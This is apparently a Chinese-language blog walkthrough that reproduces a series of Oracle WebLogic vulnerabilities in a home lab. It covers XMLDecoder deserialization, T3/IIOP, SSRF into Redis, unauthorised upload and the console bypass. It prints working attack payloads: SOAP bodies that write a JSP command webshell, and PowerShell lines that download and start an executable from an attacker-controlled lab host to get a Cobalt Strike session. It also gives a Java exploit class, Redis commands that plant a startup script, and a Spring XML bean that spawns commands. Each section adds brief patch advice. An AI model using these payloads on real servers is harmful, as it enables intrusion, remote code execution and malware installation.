一、weblogic是什么?
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
二、安装环境
各位看官下载请认准这个站:https://www.oracle.com/cn/middleware/technologies/weblogic/wls-main.html
1、下载weblogic
有以下两个可进行选择,硬件好的可以下第一个,我就选个小的就好,两个都可以复现
2、安装(其实就是点点点啦)
下载好后打开exe,我把需要选择的地方全部截出来了
启动的话,安装结束后可直接勾选服务器,或者执行Oracle\Middleware\user_projects\domains\base_domain下的startWebLogic.cmd
在中红框位置输入你安装时候的用户和口令
等一小会,访问http://192.168.50.167:7001/console,你就可以看到如下页面,那就恭喜你安装完成了
三、反序列化漏洞
1、XMLDecoder(CVE-2017-10271
漏洞原理
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞影响
10.3.6.0
12.1.3.0.0
12.2.1.1.0
漏洞验证
访问 /wls-wsat/CoordinatorPortType ,出现如下图所示的回显时,说明存在该漏洞;在wls-wsat包中,web.xml文件里的url均受影响
Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞复现
burp抓包,改包(包头得加上Content-type:text/xml)
第一个字符串为文件相对路径和创建的文件名,第二个字符串为文件内容
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/1.txt</string>
<void method="println">
<string>
123123123
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
发包后进行访问http://192.168.50.167:7001/bea_wls_internal/1.txt,发现写的内容已经上去了
改成一句话木马(由于<和&在xml是非法的,所以得加上<![CDATA[ ]]>)
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
访问/xd1.jsp?pwd=023&i=whoami
防御
打官网补丁
2、XMLDecoder (CVE-2017-3506
漏洞原理
cve-2017-3506与10271他们的漏洞原理是一样的,只不过10271绕过了3506的补丁,CVE-2017-3506的补丁加了验证函数,验证Payload中的节点是否存在object Tag
漏洞影响
10.3.6.0
12.1.3.0
12.2.1.0
12.2.1.1
12.2.1.2
漏洞复现
写cmd命令执行
写好后访问/xd3.jsp
再看容器发现计算器弹出来了
防御
打官网补丁
3、wls-wsat远程代码执行(CVE-2019-2725
漏洞原理
此漏洞实际上是CVE-2017-10271的又一入口,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。
影响组件
bea_wls9_async_response.war
wsat.war
漏洞影响
10.3.x
12.1.3
漏洞验证
访问 /_async/AsyncResponseService(/wls-wsat),返回200则存在
_async(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml)
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceJms
/_async/AsyncResponseService
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Https
wls-wsat(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml)
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞复现
win上线cs
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService" >
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.72:12345/xd.exe','xd.exe');start-process xd.exe</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
防御
- 打官方补丁
- 升级本地jdk环境
4、T3协议命令执行(CVE-2018-2628
漏洞原理
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。
漏洞影响
10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2
漏洞验证
poc、exp:https://github.com/jas502n/CVE-2018-2628
python CVE-2018-2628-poc.py 192.168.50.167 7001(py2)
当出现红框内容说明存在
漏洞复现
我改了下目录,所以跑出来的链接可能与我不同,但是你没错
防御
过滤T3协议,选择安全->筛选器,填入,最后保存重启即可
weblogic.security.net.ConnectionFilterImpl
5、 IIOP(CVE-2020-2551
漏洞原理
2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.
漏洞影响
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
漏洞复现
反序列化工具:https://github.com/RandomRobbieBF/marshalsec-jar
exp:https://github.com/Y4er/CVE-2020-2551
需要jdk1.8的环境编译下面这个文件exp.java,生成exp.class,在这个目录下启动python简易web服务,并启动marshalsec
import java.io.IOException;
public class exp {
static{
try{
java.lang.Runtime.getRuntime().exec("powershell -c (new-object System.Net.WebClient).DownloadFile('http://192.168.50.129/xd','1')");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args){
}
}
都启动后运行exp程序
java -jar weblogic_CVE_2020_2551.jar 192.168.50.167 7001 rmi://192.168.50.129:12345/exp
防御
打官方补丁
四、SSRF
1、SSRF(CVE-2014-4210
漏洞原理
Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等
漏洞影响
10.0.2.0
10.3.6.0
漏洞验证
访问该路径存在则说明有漏洞 /uddiexplorer/SearchPublicRegistries.jsp
漏洞复现
burp抓包,修改operator为http://127.0.0.1:7001/
An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
换一个未开放端口(7002)
An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'
2. SSRF联动Redis
漏洞复现
payload
http://192.168.50.136:6379/x
set 1 “\r\n\r\necho invoke-expression((new-object net.webclient).downloadstring(‘http://192.168.50.129:80/a’)) | powershell -\r\n\r\n”
config set dir ‘C:\Users\Xd\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup’
config set dbfilename xd.bat
save
d
内网主机重启上线cs
3、防御
升级版本
五、未授权访问
1、Web Service Test Page(CVE-2018-2894
漏洞原理
Weblogic Web Service Test Page中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,在生产模式下默认不开启,如果是生产模式,需要登陆后台进行勾选启动web服务测试页
漏洞影响
10.3.6
12.1.3
12.2.1.2
12.2.1.3
漏洞验证
访问
/ws_utc/config.do
/ws_utc/begin.do
漏洞复现
-
/ws_utc/config.do
默认 Work Home Dir目录无法执行webshell,所以更换一个可以执行的目录
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war
点击左边安全,然后添加
查看文件时间戳
上传文件在bea_wls_internal的war包config/keystore/{时间戳}_{文件名}
-
/ws_utc/begin.do
该页面默认工作目录和上面设置的默认工作目录是一样的
String dirName = “RS_Upload_” + df.format(new Date());
/upload/RS_Upload_(当前时间到毫秒)/import_file_name_{文件名}
bea_wls_internal/upload/RS_Upload_2021-11-24_14-30-12_307/import_file_name_1.jsp
防御
- 启动生产模式后Config.do页面登录授权后才可访问
- 升级到最新版本
2、Console HTTP协议远程代码执行(CVE-2020-14882/CVE-2020-14883
漏洞原理
CVE-2020-14883:允许未授权的用户通过目录穿越结合双重URL编码的方式来绕过管理控制台的权限验证访问后台。
CVE-2020-14882:允许后台任意用户通过HTTP协议执行任意命令。
漏洞影响
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0
漏洞复现
CVE-2020-14883: 权限绕过漏洞的poc:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
CVE-2020-14882用到的恶意类
com.tangosol.coherence.mvel2.sh.ShellSession(Weblogic 12.2.1以上版本才能利用
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(通杀
FileSystemXmlApplicationContext类原理:该类会远程加载目标服务器上的XML文件并进行解析,其中可以指定解析的Bean为ProcessBuilder类及其start()函数、构造函数参数为恶意命令,进而实现RCE。
利用py启动一个简易的web服务
让其访问该web服务中不存在的文件
发现服务器对我web服务发起请求
于是制作cs马
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>powershell</value>
<value>-command</value>
<value>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.129:12345/xd.exe','xd.exe');start-process xd.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
在pyload目录下启动一个端口的py web服务,并把cs的exe文件放在该目录下,等待目标请求
六、War后门文件部署
1、后台弱口令getshell
漏洞原理
后台存在弱口令或默认用户名/口令
漏洞复现
点击部署->安装
防御
修改强口令
大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字
5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u